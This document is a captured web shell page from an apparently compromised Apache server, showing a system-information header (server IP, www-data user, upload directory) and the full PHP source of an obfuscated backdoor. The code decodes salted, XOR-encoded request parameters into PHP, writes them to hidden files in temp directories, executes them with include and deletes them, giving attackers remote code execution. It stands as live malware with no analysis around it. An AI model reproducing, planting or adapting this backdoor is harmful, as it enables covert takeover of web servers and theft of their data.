| Server IP : 46.62.235.243 / Your IP : 216.73.216.217 Web Server : Apache/2.4.58 (Ubuntu) System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/linkabili/public/upload/ |
Upload File : |
<?php if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65c"])){ $pset = $_REQUEST["r\x65c"]; $pset=explode ( "." , $pset ) ; $key=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt2); foreach ($pset as $k => $v9) {$sChar=ord($salt2[$k % $sLen]); $dec=((int)$v9 - $sChar - ($k % 10)) ^99; $key .= chr($dec); } $dat = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP")]); foreach ($dat as $itm) { if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $bind = "$itm/.ref"; $success = file_put_contents($bind, $key); if ($success) { include $bind; @unlink($bind); exit;} } } }
if(!is_null($_POST["dc\x68\x75nk"] ?? null)){
$data_chunk = $_POST["dc\x68\x75nk"];
$data_chunk = explode ("." , $data_chunk ) ;
$holder = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s);
$__len = count( $data_chunk);
for( $x = 0; $x < $__len; $x++) {
$v9 = $data_chunk[$x];
$chS = ord( $s[$x % $lenS]);
$d =( ( int)$v9 - $chS -( $x % 10)) ^18;
$holder .= chr( $d); }
$ptr = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]);
foreach ($ptr as $key => $val) {
if (is_dir($val) ? is_writable($val) : false) {
$ent = "$val" . "/.descriptor";
$success = file_put_contents($ent, $holder);
if ($success) {
include $ent;
@unlink($ent);
exit;}
}
}
}